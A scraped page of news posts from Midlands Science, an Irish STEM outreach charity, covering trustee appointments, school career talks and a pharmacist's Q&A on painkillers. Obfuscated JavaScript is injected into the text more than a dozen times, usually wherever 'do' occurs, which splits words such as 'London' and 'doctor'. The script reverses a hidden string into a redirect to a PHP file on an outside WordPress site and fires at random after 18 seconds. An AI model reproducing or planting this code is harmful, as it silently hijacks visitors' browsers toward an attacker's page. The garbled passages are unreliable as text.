Midlands Science appoints two new Voluntary Trustees

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Midlands Science, the not for profit which promotes science, technology, education and maths education and skills in the midlands, has appointed two new voluntary trustees to its board of trustees. The new trustees are Dr Helena Bonner of the Royal College of Surgeons in Ireland and Anne Naughton of the Technological University of the Shannon. Commenting on these appointments Chairperson of Midlands Science Dr Craig Slattery said “We are delighted to welcome Dr Helena Bonner and Anne Naughton to the board of Midlands Science. They are both highly committed to promoting science outreach and education and to the impact this work can make in the midlands. We look forward to working with them in the future. We also wish to acknowledge the dedicated service of Paul Carroll who has concluded as a voluntary trustee with us. He had a huge commitment to skills development and education, and we are hugely grateful to him for the impactful contribution he brought to the organisation.”

In the past year, Midlands Science has developed a new strategy to grow the impact of its work in the midlands region and received an award to support its work from the Medtronic Foundation. The expansion of its work to include not just outreach but sharing practice with others in the wider science outreach community is a key part of this strategy and was evidenced by a recent workshop in Offaly with members of the Science Capital Research Team from University College Lon $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}don and King’s College Lon $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}don.

Jackie Gorman, CEO of Midlands Science commented “The strategic growth of Midlands Science and the impact of its work is deeply informed by the expert leadership and oversight provided by our voluntary trustees and associated processes. We welcome people from a wide range of backgrounds to engage with our work and are committed to science making a difference in the midlands. The role of trustees in this work is vital and for their enthusiasm and engagement is something that we are very grateful for.”

Midlands Science is running a range of free activities in the coming month for Science Week 2022, full details available here.

TECH WEEK-TALKS AND WORKSHOPS IN OFFALY

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Midlands Science was pleased to team up with Athlone Institute of Technology and Declan Holmes from Science Ireland recently for Tech Week 2019.

Tech Week is Ireland’s nationwide festival of technology aimed at students, parents and the public. Tech Week is made up of a range of classroom and community activities taking place across Ireland – in libraries, schools, community centres, and many other locations. These activities give students a chance to develop their interest in technology subjects, examine potential career prospects, learn new skills, be creative and, most importantly, have a lot of fun.

As part of the Midlands Tech Week celebrations, Midlands Science organised a school career presentation for the students of Gallen Community School in Ferbane, Co. Offaly. We were very fortunate to have Engineering lecturer and key speaker, Dr.Enda Fallon from AIT present to talk to students about technology fields and course.

Jackie, Gorman, CEO of Midlands Science said,

‘We were really pleased to collaborate once again with AIT during Tech Week to deliver some very interesting talks about the world of technology to Offaly student. It is very important to demonstrate to students the vast diversity of science, engineering and technology in a practical and easy to understand manner so it was beneficial to not only have an academic representative from AIT but also to include the more fun and interactive side of science and we did this through some engaging science workshops with Declan Holmes from Science Ireland. We will actively continue to encourage students to consider the whole field of Science, Technology, Engineering and Maths (STEM) and showing them how it impacts our lives on an everyday basis during Tech Week is an ideal way to $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do this.’

Physical Activity for Life…AIT STEM Talk for Longford Students

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We were delighted to welcome Mairead Cantwell, a clinical exercise physiologist to Mean Scoil Mhuire in Longford recently where she delivered an insightful and informative presentation to students as part of our STEM career talks in association with AIT.

Mairead works as  as an assistant lecturer in sport and exercise science at AIT. Clinical exercise physiology focuses on the promotion and prescription of physical activity to individuals living with different chronic conditions (e.g. heart disease, diabetes, cancer).

Her presentation focused on the benefits of physical activity for health throughout the life, and in the context of clinical conditions. She also discussed potential routes in to careers in clinical exercise physiology.

 

Talking Innovation & Technology at Tullamore College

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Midlands Science was delighted to recently welcome two expert speaker to Tullamore College where they delivered a highly engaging and informative talk to senior students .

Caroline Brazil (originally from the Midlands and a Senior Manager with Accenture) and Déaglán Campbell, Design Lecturer in Dept. of Mechanical, Polymer & Design, at Athlone Institute of Technology focused their talks on Innovation and feedback from teachers and students was extremely positive. We look forward to many more talks in schools across the region before the end of this school year.

 

Engineer’s Week at Killina Secondary School with NIS and AIT

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Midlands Science was delighted to deliver a number of STEM career talks to school in the Midlands as part of the national Engineers Week celebrations. One talk which took place for a large number of students in Offaly was at Killina Secondary School in Rahan.

Dr Enda Fallon of Athlone Institite of Technology (AIT) spoke to students about Engineering courses and careers and Gerry Buckley of local network and infrastructure and support firm, NIS also presented on the day so that the young people could see it from both the corporate and academic side.

Guidance Counsellor at Killina Secondary School, Breda Mann said,

‘The staff at Killina Secondary School were pleased to work with Midlands Science during ‘Engineers Week’ to deliver some very interesting talks about the world of engineering to students in Co. Offaly. We believe that it is very important to demonstrate to students the vast diversity of both science and engineering in a practical and easy to understand manner and both speakers provided this opportunity for us on the day. We had Dr Enda Fallon from Athlone Institute of Technology and Gerry Buckley from local IT company, NIS. We will actively continue to encourage our students to consider the whole field of Science, Technology, Engineering and Maths (STEM) and showing them how it impacts our lives on an everyday basis is a great way to $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do this.’

LEARNING ABOUT PAIN IN ATHLONE

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How we experience and manage pain is a complex and sometimes emotional process. This free lunchtime lecture took place today in Athlone Library explored our relationship with pain and painkillers and was led by Dr Gary Stack of AIT’s School of Nursing and Healthcare.

INSPIRATIONAL CAREER ADVICE FOR MULLINGAR STUDENTS

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Local development company, Midlands Science, teamed up with Athlone Institute of Technology (AIT) and Intel Ireland Ltd this week to deliver an inspiring career talk to students at Lore to College in Mullingar, in advance of the annual Midlands Science Festival.

Enda Fallon from AIT spoke to students about engineering career opportunities and course options available at AIT and Bridget Molloy of Intel Ireland Ltd also addressed students and spoke about her own career in a global company as well as providing insights on other related engineering careers and opportunities for women in STEM.

Enda Fallon said,

‘AIT is delighted to join forces with Midlands Science in promoting the world of science and engineering in Ireland. It is extremely important for AIT as the key Midlands academic provider to provide the local second level student population with inspiring experiences of engineering and to showcase the diverse opportunities and career paths that engineering offers as part of the collective national aim to increase the number of young people who wish to join these professions in the future. We want our workshops and talks to help students to better under the real world of science and engineering and collaborating with Midlands Science particularly as we head in to national Science Week 2018 was the perfect opportunity to $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do this.’

The Midlands Science Festival will be taking place across the region for people of all ages from November 11th – 18th and promises a full programme of innovative and fun hands-on events.

Jackie Gorman, CEO of Midlands Science said,

“Ireland needs more future scientists and engineers so we really want to ensure that more young people understand what these fields are all about and how they are used and applied in so many aspects of modern living. Giving students the opportunity to talk directly to engineers and engage in hands-on activities that showcase and explain science and engineering is at the heart of what we $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do and we are delighted to be able to facilitate events for some local schools here in the Midlands to help inspire the next generation.’

 

 

 

LEARN ABOUT PAIN DURING SCIENCE WEEK IN ATHLONE

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How we experience and manage pain is a complex and sometimes emotional process. This free lunchtime lecture will take place during this year’s Midlands Science Festival on November 14th in Athlone Library and will explore our relationship with pain and painkillers.

This event part of a series of bite-sized science talks, where those attending can pop in on their lunch break for some science, free tea and coffee and snacks and there will be an opportunity for questions and answers.. You’ll learn something new during your lunchbreak and we encourage questions and discussion at this event.

Join Dr Gary Stack of AIT’s School of Nursing and Healthcare for a lunchtime lecture on painkillers, ‘The Good, the Bad and the Ugly.

Empowering people to make better choices…

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Pain is something that every single person will experience at some point in their lives and the team at Midlands Science is delighted to be teaming up once again with Athlone Institute of Technology (AIT) during Science Week to deliver a very insightful talk on the whole are of pain, pain relief and the science behind it all. We spoke to key speaker Gary Stack, Lecturer in the Department of Nursing and Healthcare at AIT to find out more…
Gary, firstly can you give us an insight to your own role and background? What courses $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do you teach?
I completed my undergraduate degree in pharmacy in Trinity College Dublin in 2006.  Following graduation, I worked as a community pharmacist.  Practising as a community pharmacist involved more than dispensing medicines to patients.  It meant that I was in a position to ensure medicines were being used appropriately to achieve best patient outcomes.  While working in the community, I decided to return to Trinity College where I under took a PhD developing new drugs for the treatment of cancer. This was an area close to my heart and provided me with the opportunity to explore a new facet of healthcare.  Following completion of my postgraduate studies, I began working as a lecturer in Athlone Institute of Technology.  I teach students on the pharmacy technician, dental nursing, general and psychiatric nursing and pharmaceutical science programmes.  This role allows me to share my knowledge and experience with the next generation of healthcare professionals and scientists, and also allows me to pursue my interest in research.
 
What led you to explore the world of learning about pain management?
Pain is such a broad topic and can range from a tooth-ache to severe and debilitating back pain. As a community pharmacist, I have spent many days helping people to choose the right solution for their symp toms. By understanding more about the science of pain and the medicines we use to treat it, people can be empowered to make better choices for their own healthcare.
Some people take over the counter products such as ibuprofen to treat everyday aches and pains, but how exactly $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do different classes of pain relievers actually work in the body?
There are a number of over-the-counter products to treat aches and pains.  The most common painkillers available without a prescription include: ibuprofen, aspirin, paracetamol and codeine.  Ibuprofen is an anti-inflamma tory painkiller, which belongs to a class of medicines called non-steroidal anti-inflamma tory drugs (NSAIDs).  Ibuprofen works by reducing the production of prostaglandins, chemicals that cause pain and inflammation. Aspirin and paracetamol work in a similar way to ibuprofen.  Codeine works in a different way and acts in the brain and spinal cord, leading to pain relief.  As there are different classes of pain killers, I would recommend that patients always discuss their pain and treatment options with their pharmacist or $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}doc tor.
Some painkillers can provide temporary relief for pain, but often use comes with undesirable side-effects -What pain medications are truly addictive?
Unfortunately, there is no such thing as a 100% safe medication. Every medicine has its own combination of side effects. Opioids are the class of drugs that have the potential to cause dependence (also known as addiction). Opioids include morphine and the more widely available drug, codeine. While these medications can provide effective pain relief, they should always be used under the supervision of a $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}doc tor or pharmacist.
Is it true that we develop a tolerance to pain medication overtime?
It is possible to become tolerant to pain medication overtime. This most commonly occurs with the opioid class of painkillers. This means that a person may find they need to take greater amounts of the drug to achieve the same pain relief. However, patients should never exceed the recommended $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dosage of any medicine and any changes in $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dose should always be carried out in consultation with the patient’s $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}doc tor or pharmacist.
What can we $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do to encourage more young people to consider Nursing as a course or future career choice?
It is essential to encourage young people to consider healthcare courses such as Nursing, Pharmacy Technician and Dental Nursing when deciding on their future careers. Working in these professions is incredibly rewarding and essential for the future of the healthcare system.  There are a number of ways to attract students in to these courses.  Firstly, early intervention is essential so that young people are informed about these careers in secondary school.  Athlone Institute of Technology, for example, promotes long term student recruitment by organising a series of interactive open days, which provides students with a valuable insight in to these healthcare courses.  Secondly, there is often a perception that nursing and related courses are female- $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dominated and consequently, male students are sometimes unenthusiastic about joining these professions.  By removing this stigma, I’m sure it will encourage more men in to nursing and related careers and ensure greater gender balance in the healthcare system of the future.
Check out our events page for more details-
Painkillers – the good, the bad and the ugly
Nov 14th – 1:00 pm – 1:45 pm Athlone Library, Athlone Civic Centre, Church Street

Promoting Engineering and Inspiring the Next Generation

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Midlands Science teamed up with Athlone Institute of Technology (AIT) and Mergon International to deliver an inspiring career talk at Colaiste Mhuire in Mullingar last week as part of national ‘Engineers Week’ celebrations. Senior technologist, Alan Mannion spoke to students about engineering career opportunities and course options available at AIT and Padraic McDonnell of Mergon International gave an insight in to working in the engineering field, the diversity it offers and what it is like to work within this profession for a global company.

Aisling Nolan, General Manager of Mergon International said,

‘Mergon was delighted to join forces with local development company Midlands Science and Athlone Institute of Technology for Engineers Week 2018 which is a week-long festival of nationwide events celebrating the world of engineering in Ireland. It is extremely important for Mergon as an employer to provide the student population with inspiring experiences of engineering, as part of collective national quest to widen the pool of young people who will go on to join the profession in the future. We want our workshops to encourage young people to reflect, discuss and realise how they can be part of solutions needed for a vast number and diverse range of society’s challenges by becoming engineers. These workshops extend young people’s real-world understanding and it was wonderful to have this opportunity during Engineers Week ’

The annual Engineers Week event is coordinated on a national basis by Engineers Ireland’s STEPS programme which is funded under Science Foundation Ireland’s Discover programme. Midlands Science together with industry and academic partners wanted to ensure that a focus was given to encouraging young people locally to take a closer look at engineering and demonstrate how far-reaching, creative and innovative engineering actually is as a sec tor.

Jackie Gorman, CEO of Midlands Science said,

“Ireland needs more future engineers so we really need more young people to understand what the world of engineering is all about, its impact and how widely it is used in the real world. Giving students the opportunity to talk directly to engineers and engage in hands-on activities that showcase and explain engineering is at the heart of Engineers Week and we were delighted to be able to facilitate events for some local schools here in the Midlands to help inspire the next generation of engineers.’

Dr. Attracta Foley, a Chartered Civil Engineer and Senior Civil Engineering Lecturer at AIT also provided a talk in Mullingar during Engineers Week and addressed some of the students at Lore to College.

Orla Thorn ton, Direc tor of Marketing & Communications at AIT said,

‘Engineers Week is a great opportunity for AIT to collaborate with Midlands Science and our Industry partners in going out to schools within the midlands in order to showcase the best of what AIT offers in engineering. The week is a celebration of all things engineering and it is a wonderful opportunity to show young people the diverse opportunities and career paths that engineering offers and of course to encourage them to explore the world of engineering and in turn the range of programmes that the faculty of engineering and informatics offers potential students from apprenticeships, degrees right through to PhDs. As a nation we still have severe shortages in some engineering areas for example in construction related areas such as civil engineering and Quantity Surveying. Our programmes address these regional and national skills shortages and this week is a great opportunity for secondary school students to immerse themselves in to the world of engineering and all that is offers across the areas of civil and construction engineering, electronics and informatics and mechanical and polymer. All of our programmes in AIT are practically applied and industry focused and the collaboration between our industry partners such as Mergon is a great opportunity to inspire a new generation of potential engineers who will shape, design, build and au tomate for the world of tomorrow.’